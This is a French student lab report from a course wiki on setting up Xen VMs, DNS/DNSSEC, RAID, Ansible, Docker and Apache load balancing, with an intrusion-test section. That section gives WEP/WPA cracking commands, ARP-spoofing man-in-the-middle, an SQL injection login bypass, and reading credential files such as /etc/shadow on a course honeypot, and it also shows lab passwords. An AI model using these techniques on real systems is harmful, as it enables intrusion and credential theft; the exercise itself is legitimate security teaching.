  ophiocordyceps ansible_host=192.168.42.2&lt;br /&gt;
&lt;br /&gt;
Une fois ces étapes réalisées, nous créons un premier rôle ansible qui va venir modifier le fichier /etc/motd de notre VM sur chassiron, ainsi qu'installer les paquetages NTP et copier les fichiers de configuration NTP de notre VM sur capbreton.&lt;br /&gt;
&lt;br /&gt;
 - name: Modification de /etc/motd&lt;br /&gt;
   copy:&lt;br /&gt;
      src: &amp;quot;../files/modif_motd&amp;quot;&lt;br /&gt;
      dest: &amp;quot;/etc/motd&amp;quot;&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644'&lt;br /&gt;
 - name: Installation de ntp&lt;br /&gt;
   apt:&lt;br /&gt;
    name: ntp&lt;br /&gt;
    state: latest&lt;br /&gt;
 - name: Copie de ntp conf&lt;br /&gt;
   copy:&lt;br /&gt;
      src: &amp;quot;../files/ntp.conf&amp;quot;&lt;br /&gt;
      dest: &amp;quot;/etc/ntp.conf&amp;quot;&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644'&lt;br /&gt;
&lt;br /&gt;
===Docker===&lt;br /&gt;
&lt;br /&gt;
Avant d'installer docker sur notre VM, nous devons y installer python3, python3-pip, ainsi qu'un module docker de python. Pour cela, on crée un rôle ansible qui va réaliser cette installation.&lt;br /&gt;
&lt;br /&gt;
  - name: python install&lt;br /&gt;
    apt:&lt;br /&gt;
     update_cache: yes&lt;br /&gt;
     name: &amp;quot;{ { packages } }&amp;quot;&lt;br /&gt;
    vars:&lt;br /&gt;
     packages:&lt;br /&gt;
           - python3&lt;br /&gt;
           - python3-pip&lt;br /&gt;
  - name: docker pip install&lt;br /&gt;
    pip:&lt;br /&gt;
      name:&lt;br /&gt;
           - docker&lt;br /&gt;
&lt;br /&gt;
On peut maintenant installer Docker sur notre VM. Pour cela, on a récupéré un rôle ansible 'geerlingguy.docker'&lt;br /&gt;
&lt;br /&gt;
Puis, on crée le playbook.yml suivant pour l'installation :&lt;br /&gt;
&lt;br /&gt;
  - hosts: Me_Chassiron&lt;br /&gt;
    roles:&lt;br /&gt;
       - basic&lt;br /&gt;
       - geerlingguy.docker&lt;br /&gt;
    vars:&lt;br /&gt;
       docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
       docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian buster { { docker_apt_release_channel } }&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Création du conteneur===&lt;br /&gt;
&lt;br /&gt;
La première étape consiste en la création d'un Dockerfile :&lt;br /&gt;
&lt;br /&gt;
 FROM httpd:2.4&lt;br /&gt;
 COPY index.html /usr/local/apache2/htdocs/&lt;br /&gt;
 CMD [ &amp;quot;httpd&amp;quot;, &amp;quot;-D&amp;quot;, &amp;quot;FOREGROUND&amp;quot; ]&lt;br /&gt;
&lt;br /&gt;
Ensuite, on construit l'image du Dockerfile, puis on le lance à l'aide des commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
 docker build -t webserveur .&lt;br /&gt;
 docker run -d webserveur&lt;br /&gt;
&lt;br /&gt;
On peut regarder si les commandes précédentes ont fonctionnées :&lt;br /&gt;
Affichage des images docker :&lt;br /&gt;
 docker images&lt;br /&gt;
Affichage des conteneurs en cours d'exécution :&lt;br /&gt;
 docker ps -a&lt;br /&gt;
&lt;br /&gt;
Puis, on utilise un rôle ansible pour créer un dépôt sur notre machine sur chassiron :&lt;br /&gt;
 - name: Docker registry&lt;br /&gt;
   docker_container:&lt;br /&gt;
          name: registry&lt;br /&gt;
          image: registry&lt;br /&gt;
          ports:&lt;br /&gt;
                  - &amp;quot;5000:5000&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Une fois le dépôt créé, on peut push notre conteneur :&lt;br /&gt;
&lt;br /&gt;
 docker tag webserveur 192.168.42.9:5000/webserveur&lt;br /&gt;
 docker push 192.168.42.9:5000/webserveur&lt;br /&gt;
&lt;br /&gt;
Pour finir, on se connecte sur notre VM chassiron et on pull :&lt;br /&gt;
&lt;br /&gt;
 docker pull 192.168.42.9:5000/webserveur&lt;br /&gt;
&lt;br /&gt;
===Configuration des serveurs internes===&lt;br /&gt;
&lt;br /&gt;
Pour déployer notre conteneur Web sur tous les serveurs Web internes, nous utilisons le rôle ansible suivant :&lt;br /&gt;
&lt;br /&gt;
 - name: container webserver&lt;br /&gt;
   docker_container:&lt;br /&gt;
          name: calicedelamort_container&lt;br /&gt;
          image: 192.168.42.9:5000/webserveur_calicedelamort&lt;br /&gt;
          ports:&lt;br /&gt;
               - &amp;quot;8089:80&amp;quot;&lt;br /&gt;
&lt;br /&gt;
Enfin, nous pouvons déployer ce conteneur en ajoutant à notre playbook.yml les commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
 - hosts: All_Chassiron&lt;br /&gt;
   roles:&lt;br /&gt;
        - deploy_webserver&lt;br /&gt;
&lt;br /&gt;
===Equilibreur de charge===&lt;br /&gt;
&lt;br /&gt;
Nous ajoutons un deuxième site dans /etc/apache2/sites-available que nous appelons site2calicedelamort.conf :&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;                                                                                                              &lt;br /&gt;
        ServerName reverse.calicedelamort.site&lt;br /&gt;
    &lt;br /&gt;
        ServerAdmin paulLeCannard  &lt;br /&gt;
                                                                                                                                                                                             &lt;br /&gt;
        ProxyPass / http://192.168.42.9:8089                                                                                      &lt;br /&gt;
        ProxyPassReverse / http://192.168.42.9:8089&lt;br /&gt;
                                                                                                                                                                          &lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous modifions le fichier /etc/bind/db.calicedelamort.site pour y ajouter cette ligne :&lt;br /&gt;
&lt;br /&gt;
 reverse IN      CNAME   www&lt;br /&gt;
&lt;br /&gt;
On installe les paquets manquants :&lt;br /&gt;
&lt;br /&gt;
 a2enmod proxy&lt;br /&gt;
 a2enmod proxy_http&lt;br /&gt;
&lt;br /&gt;
On active notre 2ème site, puis on redémarre bind9 et apache2 :&lt;br /&gt;
&lt;br /&gt;
 a2ensite site2calicedelamort.conf&lt;br /&gt;
 service bind9 restart&lt;br /&gt;
 service apache2 restart&lt;br /&gt;
&lt;br /&gt;
Notre deuxième site est maintenant accessible via reverse.calicedelamort.site, cependant il n'est disponible que sur notre VM chassiron (192.168.42.9)&lt;br /&gt;
&lt;br /&gt;
Nous souhaitons maintenant le rendre accessible sur toutes les VM chassiron, nous utilisons donc un Load Balancer.&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on installe les paquetages nécessaires :&lt;br /&gt;
&lt;br /&gt;
 a2enmod proxy_balancer&lt;br /&gt;
 a2enmod lbmethod_byrequests&lt;br /&gt;
&lt;br /&gt;
Puis, on modifie le fichier de configuration de notre site /etc/apache2/sites-available/site2calicedelamort.site, et on y ajoute un système d'équilibrage de charges :&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost *:80&amp;gt;   &lt;br /&gt;
        ServerName reverse.calicedelamort.site&lt;br /&gt;
        ServerAdmin paulLeCannard&lt;br /&gt;
        &amp;lt;Proxy &amp;quot;balancer://macrondemission&amp;quot;&amp;gt;&lt;br /&gt;
                BalancerMember &amp;quot;http://192.168.42.2:8089&amp;quot; route=1&lt;br /&gt;
                BalancerMember &amp;quot;http://192.168.42.4:8089&amp;quot; route=2&lt;br /&gt;
                BalancerMember &amp;quot;http://192.168.42.5:8089&amp;quot; route=3&lt;br /&gt;
                BalancerMember &amp;quot;http://192.168.42.7:8089&amp;quot; route=4&lt;br /&gt;
                BalancerMember &amp;quot;http://192.168.42.9:8089&amp;quot; route=5&lt;br /&gt;
                BalancerMember &amp;quot;http://192.168.42.12:8089&amp;quot; route=6&lt;br /&gt;
                ProxySet lbmethod=byrequests&lt;br /&gt;
        &amp;lt;/Proxy&amp;gt;&lt;br /&gt;
        ProxyPass / balancer://macrondemission/&lt;br /&gt;
        ProxyPassReverse / balancer://macrondemission/&lt;br /&gt;
 &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On redémarre apache2.&lt;br /&gt;
&lt;br /&gt;
Pour vérifier le bon fonctionnement du Load Balancer, nous avons chargé une page internet différente sur notre VM (192.168.42.9).&lt;br /&gt;
Lorsque l'on se connecte sur notre site via un navigateur (http://reverse.calicedelamort.site), on voit bien que l'on obtient parfois la page du site 'classique' et parfois la page du site propre à notre VM.&lt;/div&gt;</summary>
		<author><name>Tvieuble</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G9&amp;diff=55183</id>
		<title>TP sysres IMA5sc 2020/2021 G9</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G9&amp;diff=55183"/>
				<updated>2020-12-22T14:49:22Z</updated>
		
		<summary type="html">&lt;p&gt;Tvieuble : /* Equilibreur de charge */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
! Groupe !! Domaine !! IP (publique)&lt;br /&gt;
|-&lt;br /&gt;
| Groupe 9&lt;br /&gt;
| calicedelamort.site&lt;br /&gt;
| 193.48.57.180&lt;br /&gt;
|} &lt;br /&gt;
&lt;br /&gt;
 &lt;br /&gt;
==Création de la VM==&lt;br /&gt;
&lt;br /&gt;
  root@capbreton:~# xen-create-image --hostname=Calicedelamort --ip=100.64.0.20 --netmask=255.255.255.240 --password=pasglop --dir=/usr/local/xen --dist=buster --gateway=100.64.0.5&lt;br /&gt;
&lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/PaulTanguy1&lt;br /&gt;
  LV Name                PaulTanguy1&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                Mk2sRM-HJvO-Ul2V-7z4A-WYDR-w2Rs-woO4FD&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 17:02:07 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 0&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:24&lt;br /&gt;
   &lt;br /&gt;
  --- Logical volume ---&lt;br /&gt;
  LV Path                /dev/storage/PaulTanguy2&lt;br /&gt;
  LV Name                PaulTanguy2&lt;br /&gt;
  VG Name                storage&lt;br /&gt;
  LV UUID                zWVz4u-2u2T-Fd1T-7W5X-G4Fg-M8dO-bEwuEt&lt;br /&gt;
  LV Write Access        read/write&lt;br /&gt;
  LV Creation host, time capbreton, 2020-10-12 17:02:11 +0100&lt;br /&gt;
  LV Status              available&lt;br /&gt;
  # open                 0&lt;br /&gt;
  LV Size                10.00 GiB&lt;br /&gt;
  Current LE             2560&lt;br /&gt;
  Segments               1&lt;br /&gt;
  Allocation             inherit&lt;br /&gt;
  Read ahead sectors     auto&lt;br /&gt;
  - currently set to     256&lt;br /&gt;
  Block device           254:25&lt;br /&gt;
&lt;br /&gt;
==Services Internet==&lt;br /&gt;
&lt;br /&gt;
===Serveur SSH===&lt;br /&gt;
&lt;br /&gt;
On installe simplement un serveur SSH sur la VM.&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config pour autoriser la connexion en tant que root.&lt;br /&gt;
On peut s'y connecter à distance avec la commande suivante :&lt;br /&gt;
&lt;br /&gt;
  ssh root@ns1.calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
(avec le même mot de passe (pifou) que les machines de TPs)&lt;br /&gt;
&lt;br /&gt;
===Serveur DNS===&lt;br /&gt;
&lt;br /&gt;
Dans un premier temps, on loue un nom de domaine sur gandi.net.&lt;br /&gt;
Notre nom de domaine est calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
Ensuite, on installe sur la VM, le paquetage bind9&lt;br /&gt;
&lt;br /&gt;
Une fois ce paquetage installé, on modifie les fichiers de configuration.&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/db.calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
 ;BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA     ns1.calicedelamort.site. postmaster.calicedelamort.site. (&lt;br /&gt;
                              3         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.calicedelamort.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 @	IN	MX	100	ns1&lt;br /&gt;
 ns1     IN      A       193.48.57.180&lt;br /&gt;
&lt;br /&gt;
Ensuite, dans /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
 zone &amp;quot;calicedelamort.site&amp;quot; IN {&lt;br /&gt;
     type master;&lt;br /&gt;
     file &amp;quot;/etc/bind/db.calicedelamort.site&amp;quot;;&lt;br /&gt;
     allow-transfer {217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
Et enfin, dans /etc/bind/name.conf.options :&lt;br /&gt;
&lt;br /&gt;
 options {&lt;br /&gt;
     directory &amp;quot;/var/cache/bind&amp;quot;;&lt;br /&gt;
     dnssec-enable yes;&lt;br /&gt;
     dnssec-validation auto;&lt;br /&gt;
     listen-on-v6 { any; };&lt;br /&gt;
     allow-recursion { localhost; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Pour finir, on se rend sur gandi.net et dans l'option Gluerecords on lie ns1.calicedelamort.site à l'adresse 193.48.57.180.&lt;br /&gt;
Puis, on ajoute dans serveurs de noms externes :&lt;br /&gt;
&lt;br /&gt;
 ns1.calicedelamort.site&lt;br /&gt;
 ns6.gandi.net&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de site web par certificat===&lt;br /&gt;
&lt;br /&gt;
La première étape est de générer un certificat à l'aide de la commande suivante :&lt;br /&gt;
&lt;br /&gt;
  openssl req -nodes -newkey rsa:2048 -sha256 -keyout calicedelamort.site.key -out calicedelamort.site.csr&lt;br /&gt;
&lt;br /&gt;
Ensuite, on se rend sur gandi.net, et nous ajoutons le certificat généré à notre domaine calicedelamort.site. Ensuite, nous attendons d'obtenir le certificat signé sur le serveur de mail que nous avons installé sur notre VM.&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
En premier lieu, nous devons activer le protocole DNSSEC dans le fichier de configuration de bind : /etc/bind/named.conf.local&lt;br /&gt;
&lt;br /&gt;
  dnssec-enable yes&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous créons un dossier calicedelamort.site.dnssec/ puis nous y générons les clefs ZSK et KSK à l'aide des commandes suivantes :&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
  dnssec-keygen -a RSASHA1 -b 1024 -n ZONE calicedelamort.site&lt;br /&gt;
&lt;br /&gt;
Puis, nous allons dans le fichier de configuration de notre site : /etc/bind/db.calicedelamort.site, et nous y ajoutons les deux lignes suivantes :&lt;br /&gt;
&lt;br /&gt;
  $include /etc/bind/calicedelamort.site.dnssec/calicedelamort.site-ksk.key&lt;br /&gt;
  $include /etc/bind/calicedelamort.site.dnssec/calicedelamort.site-zsk.key&lt;br /&gt;
&lt;br /&gt;
Enfin, nous signons le tout à l'aide de la commande :&lt;br /&gt;
&lt;br /&gt;
  dnssec-signzone -o calicedelamort.site -k calicedelamort.site-ksk ../db.calicedelamort.site calicedelamort.site-zsk &lt;br /&gt;
&lt;br /&gt;
Dans le fichier /etc/bind/named.conf.local, nous modifions la zone pour y mettre le fichier signé :&lt;br /&gt;
&lt;br /&gt;
  zone &amp;quot;calicedelamort.site&amp;quot; IN {&lt;br /&gt;
    type master;&lt;br /&gt;
    file &amp;quot;/etc/bind/db.calicedelamort.site.signed&amp;quot;;&lt;br /&gt;
    allow-transfer{217.70.177.40;};&lt;br /&gt;
  };&lt;br /&gt;
&lt;br /&gt;
Pour finir, nous relançons bind9 :&lt;br /&gt;
&lt;br /&gt;
  service bind9 restart&lt;br /&gt;
&lt;br /&gt;
==Tests d'intrusion== &lt;br /&gt;
&lt;br /&gt;
===Cassage de clef WEP d'un point d'accés Wifi===&lt;br /&gt;
&lt;br /&gt;
En premier lieu, on installe le paquetage aircrack-ng sur un PC.&lt;br /&gt;
&lt;br /&gt;
Ensuite, on utilise les commandes suivantes : &lt;br /&gt;
&lt;br /&gt;
  airmon-ng&lt;br /&gt;
Cette commande permet d'afficher les interfaces réseau&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Airmong.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
  airmon-ng start &amp;lt;interface&amp;gt;&lt;br /&gt;
Pour passer l'interface en mode monitor&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --encrypt wep 'nomInterface'&lt;br /&gt;
Pour afficher les réseaux wifi WEP&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Capture-wep-encrypt.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --write 'nomFichier' --channel 3 -bssid '@mac_AP' 'nomInterface'&lt;br /&gt;
Pour capturer les paquets émis par le point d'accés ciblé&lt;br /&gt;
&lt;br /&gt;
  aircrack-ng -x 'nomFichier'-01.cap&lt;br /&gt;
Pour cracker la clef WEP (à condition d'avoir capturé assez de paquets)&lt;br /&gt;
&lt;br /&gt;
===Cassage de mot de passe WPA-PSK par force brute===&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, nous utilisons aussi le paquetage aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
On utilise les mêmes commandes que précédemment pour trouver les réseaux wifi utilisant WPA-PSK&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --encrypt wpa-psk 'nomInterface'&lt;br /&gt;
&lt;br /&gt;
  airodump-ng --write 'nomFichier' --bssid '@mac_AP' -c 'numChannel' 'nomInterface'&lt;br /&gt;
&lt;br /&gt;
Une fois que l'on obtient le handshake de point d'accés, on peut essayer de cracker la clef WPA-PSK à l'aide de la commande aircrack-ng&lt;br /&gt;
&lt;br /&gt;
Cependant, il faut créer un dictionnaire de clef, dans le sujet, nous savons que la clef est composée de 8 chiffres, on crée donc un dictionnaire constitué de toutes les clef à 8 chiffres possible&lt;br /&gt;
Pour cela, on utilisa la commande :&lt;br /&gt;
  crunch 8 8 0123456789 &amp;gt; 'nomDuDico.txt'&lt;br /&gt;
&lt;br /&gt;
Maintenant, on peut essayer de cracker la clef à l'aide du dictionnaire :&lt;br /&gt;
&lt;br /&gt;
  aircrack-ng -a 2 -w 'nomDuDico.txt' 'nomFichier'-01.cap&lt;br /&gt;
&lt;br /&gt;
Au bout d'un certain temps, on obtient la clef WPA-PSK permettant de se connecter au point d'accés Wifi.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Crack_resultat_WPA.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
Il est aussi possible de cracker la clef avec hashcat. Cela permet de d'utiliser la puissance du GPU pour brute force la clef. Grace à ma super carte graphique la 2080 super, nous avons pu diviser par 100 le temps du brute force.&lt;br /&gt;
&lt;br /&gt;
La commande est la suivante:&lt;br /&gt;
  crunch 8 8 0123456789 | hashcat -m 2500 output.hccapx&lt;br /&gt;
&lt;br /&gt;
===Man In The Middle===&lt;br /&gt;
(Homme du milieu en anglais)&lt;br /&gt;
&lt;br /&gt;
D'abord, sur le eeePC, on modifie le fichier /proc/sys/net/ipv4/ip_forward :&lt;br /&gt;
&lt;br /&gt;
   echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
Ensuite on utilise la commande du paquet dsniff :&lt;br /&gt;
&lt;br /&gt;
  arpspoof -i eth0 -t 172.26.145.254 172.26.145.58&lt;br /&gt;
  arpspoof -i eth0 -t 172.26.145.58 172.26.145.254&lt;br /&gt;
&lt;br /&gt;
Enfin, on utilise wireshark pour observer les paquets.&lt;br /&gt;
Pour tester l'attaque MiTM, nous avons essayer de nous connecter à un site utilisant un protocole http.&lt;br /&gt;
&lt;br /&gt;
Sur wireshark, nous avons pu voir, en clair, les identifiants de connexion ainsi que le mot de passe saisi par l'utilisateur.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Wiresharck.jpg|center|400px]]&lt;br /&gt;
&lt;br /&gt;
===Intrusion sur un serveur d'application Web===&lt;br /&gt;
&lt;br /&gt;
Pour cette partie, on se rend sur le lien http://honey.plil.info.&lt;br /&gt;
Nous y trouvons une page de connexion demandant un login et un password.&lt;br /&gt;
&lt;br /&gt;
N'ayant pas de compte sur ce site, on essaye une simple injection SQL :&lt;br /&gt;
Dans les champs 'login' et 'password' on écrit l'injection SQL suivante : &amp;quot; ' OR 1 = 1 -- &amp;quot;&lt;br /&gt;
Ca fonctionne ! Nous avons accès aux informations de connexion des utilisateurs&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Grâce aux informations trouvées à l'aide de l'injection SQL nous pouvons nous connecter en tant qu'administrateur.&lt;br /&gt;
En explorant un peu le site, nous trouvons une fonctionnalité qui permet d'importer des fichiers sur la page web et de les télécharger.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Ajoutmanuel.png|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
En parallèle de cela, à l'aide de la commande&lt;br /&gt;
  dirb http://honey.plil.info/&lt;br /&gt;
On trouve une page phpmyadmin : http://honey.plil.info/phpmyadmin&lt;br /&gt;
&lt;br /&gt;
[[Fichier:phpmyadmin.png|center]]&lt;br /&gt;
&lt;br /&gt;
Encore une page de connexion, il faut donc trouver le login et le password permettant de se connecter à cette page. Cette fois, les injections SQL ne fonctionne pas.&lt;br /&gt;
&lt;br /&gt;
Cependant, nous avons vu plus tôt que nous pouvions importer et télécharger des fichiers depuis la page web précédente, et en effectuant quelques tests, nous nous sommes rendu compte que ces fichiers provenaient du serveur qui hébergeait le site web.&lt;br /&gt;
&lt;br /&gt;
En regardant sur internet, nous avons trouvé que le fichier contenant les logins et mot de passes de connexion à la page phpmyadmin se trouvaient dans /etc/phpmyadmin/config-db.php&lt;br /&gt;
&lt;br /&gt;
Nous uploadons et téléchargeons ce fichier depuis la page web :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Config_dbphp.png|center]]&lt;br /&gt;
&lt;br /&gt;
Nous avons maintenant accès à la page de gestion de la base de données du serveur.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Maintenant que l'on sait que l'on peut télécharger des fichiers depuis le serveur, on décide de télécharger le fichier /etc/passwd :&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Passwd.PNG|center]]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
On trouve l'utilisateur 'rex' sur lequel on pourrait tenter de se connecter en ssh. Nous essayons, cependant, il nous faut le mot de passe de cet utilisateur. Explorons donc phpmyadmin en s'y connectant en tant que root.&lt;br /&gt;
&lt;br /&gt;
En cherchant bien, on trouve un fichiers 'users' (dans la structure 'test') dans lequel apparait le mot de passe de l'utilisateur 'rex' en clair.&lt;br /&gt;
&lt;br /&gt;
On se connecte donc en ssh sur cet utilisateur.&lt;br /&gt;
  ssh rex@honey.plil.info&lt;br /&gt;
&lt;br /&gt;
La dernière étape est donc de récupérer le mot de passe root du serveur. Or, on sait que celui-ci se trouve dans le fichier /etc/shadow , fichier qui est, bien entendu, accessible depuis l'utilisateur 'rex'.&lt;br /&gt;
&lt;br /&gt;
Une fois ce fichier récupéré, il ne nous reste plus qu'à brute force le mot de passe root.&lt;br /&gt;
&lt;br /&gt;
On utilise le programme 'John The Ripper', cependant, il nous faut un dictionnaire pour aider John The Riper.&lt;br /&gt;
On sait que le mot de passe root à la même particularité que les mots de passes des machines de TPs. On crée donc un dictionnaire en fonction de cette information à l'aide de la commande 'crunch'.&lt;br /&gt;
&lt;br /&gt;
On peut finalement lancer John The Riper avec le dictionnaire, on trouve le mot de passe, et on peut enfin se connecter en tant qu'utilisateur root sur le serveur.&lt;br /&gt;
&lt;br /&gt;
==Réalisation==&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de données===&lt;br /&gt;
Nous avons dans un premier temps créé 3 partitions virtuelles:&lt;br /&gt;
&lt;br /&gt;
 lvcreate -L1G -n calicedelamort-raid1 storage&lt;br /&gt;
 lvcreate -L1G -n calicedelamort-raid2 storage&lt;br /&gt;
 lvcreate -L1G -n calicedelamort-raid3 storage&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous les avons ajoutées dans notre fichier: /etc/xen/Calicedelamort.cfg&lt;br /&gt;
&lt;br /&gt;
 disk        = [&lt;br /&gt;
                  'file:/usr/local/xen/domains/Calicedelamort/disk.img,xvda2,w',&lt;br /&gt;
                  'file:/usr/local/xen/domains/Calicedelamort/swap.img,xvda1,w',&lt;br /&gt;
                  'phy:/dev/storage/PaulTanguy1,xvda3,w',&lt;br /&gt;
                  'phy:/dev/storage/PaulTanguy2,xvda4,w',&lt;br /&gt;
                  'phy:/dev/storage/calicedelamort-raid1,xvda5,w',&lt;br /&gt;
                  'phy:/dev/storage/calicedelamort-raid2,xvda6,w',&lt;br /&gt;
                  'phy:/dev/storage/calicedelamort-raid3,xvda7,w',&lt;br /&gt;
              ]&lt;br /&gt;
&lt;br /&gt;
il faut ensuite redémarrer notre VM:&lt;br /&gt;
&lt;br /&gt;
 xl destroy Calicedelamort&lt;br /&gt;
 xl create /etc/xen/Calicedelamort.cfg&lt;br /&gt;
&lt;br /&gt;
Suite à cela nous installons mdadm qui est l'utilitaire standard sous Linux utilisé pour gérer les périphériques RAID logiciel:&lt;br /&gt;
&lt;br /&gt;
 apt instal mdadm&lt;br /&gt;
&lt;br /&gt;
Ensuite, nous construisons notre volume RAID 5, et on s'assure qu'il fonctionne à chaque démarrage.&lt;br /&gt;
 mdadm --create /dev/md0 --level=5 --raid-devices=3 /dev/xvda5 /dev/xvda6 /dev/xvda7 &lt;br /&gt;
 mdadm --monitor --daemonise /dev/md0&lt;br /&gt;
&lt;br /&gt;
On formate notre volume RAID.&lt;br /&gt;
 mkfs.ext4 /dev/md0 &lt;br /&gt;
&lt;br /&gt;
On rajoute cette ligne dans le fstab : &lt;br /&gt;
   /dev/md0   /raid5   ext4   defaults   0   2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Pour finir, on peuple notre volume RAID.&lt;br /&gt;
 mkdir /raid5&lt;br /&gt;
 mount -a&lt;br /&gt;
 touch /raid5/test&lt;br /&gt;
&lt;br /&gt;
==TP ASR==&lt;br /&gt;
&lt;br /&gt;
===Ajout d'une seconde interface réseau sur la VM===&lt;br /&gt;
&lt;br /&gt;
On se connecte sur capbreton&lt;br /&gt;
  ssh root@capbreton&lt;br /&gt;
&lt;br /&gt;
Et on modifie le fichier de configuration de notre VM (Calicedelamort.cfg) en y ajoutant une deuxième interfaces dans la ligne 'vif'&lt;br /&gt;
&lt;br /&gt;
  nano /etc/xen/Calicedelamort.cfg&lt;br /&gt;
  &lt;br /&gt;
  vif         = [ 'bridge=IMA5sc, ip=100.64.0.20, mac=00:16:3E:DC:81:A8', 'bridge=bridgeStudents, ip=192.168.42.9 ,mac=00:16:3E:DC:81:A9' ]&lt;br /&gt;
&lt;br /&gt;
Ensuite, on relance la VM et on modifie le fichier dans /etc/network/interfaces pour y ajouter l'interface réseau eth1 avec la bonne adresse IP&lt;br /&gt;
&lt;br /&gt;
  auto eth1&lt;br /&gt;
  iface eth1 inet static&lt;br /&gt;
    address 192.168.42.9&lt;br /&gt;
    netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Pour finir on réalise une masquarade à l'aide de la commande iptables&lt;br /&gt;
&lt;br /&gt;
   iptables -t nat -A POSTROUTING -p tcp -o eth0 -j SNAT --to-source 193.48.57.180 -s 192.168.42.23&lt;br /&gt;
&lt;br /&gt;
===Ansible===&lt;br /&gt;
&lt;br /&gt;
Premièrement, on installe ansible sur notre VM sur capbreton&lt;br /&gt;
&lt;br /&gt;
  apt install ansible&lt;br /&gt;
&lt;br /&gt;
Ensuite, on génère les clefs ssh avec la commande&lt;br /&gt;
&lt;br /&gt;
  ssh-keygen -t rsa&lt;br /&gt;
&lt;br /&gt;
Puis, on installe la clef publique sur les Vms cibles&lt;br /&gt;
&lt;br /&gt;
  cat .ssh/id_rsa.pub | ssh root@192.168.42.9 &amp;quot;cat &amp;gt;&amp;gt; /root/.ssh/authorized_keys2&amp;quot; (installation sur notre VM chassiron)&lt;br /&gt;
&lt;br /&gt;
On crée ensuite un inventaire : /etc/ansible/hosts&lt;br /&gt;
&lt;br /&gt;
  [Me_Chassiron]&lt;br /&gt;
  calicedelamort ansible_host=192.168.42.9&lt;br /&gt;
  [All_Chassiron]&lt;br /&gt;
  calicedelamort ansible_host=192.168.42.9&lt;br /&gt;
  truffe ansible_host=192.168.42.12&lt;br /&gt;
  girolle ansible_host=192.168.42.7&lt;br /&gt;
  amanite ansible_host=192.168.42.5&lt;br /&gt;
  tricholome ansible_host=192.168.42.4&lt;br /&gt;
  ophiocordyceps ansible_host=192.168.42.2&lt;br /&gt;
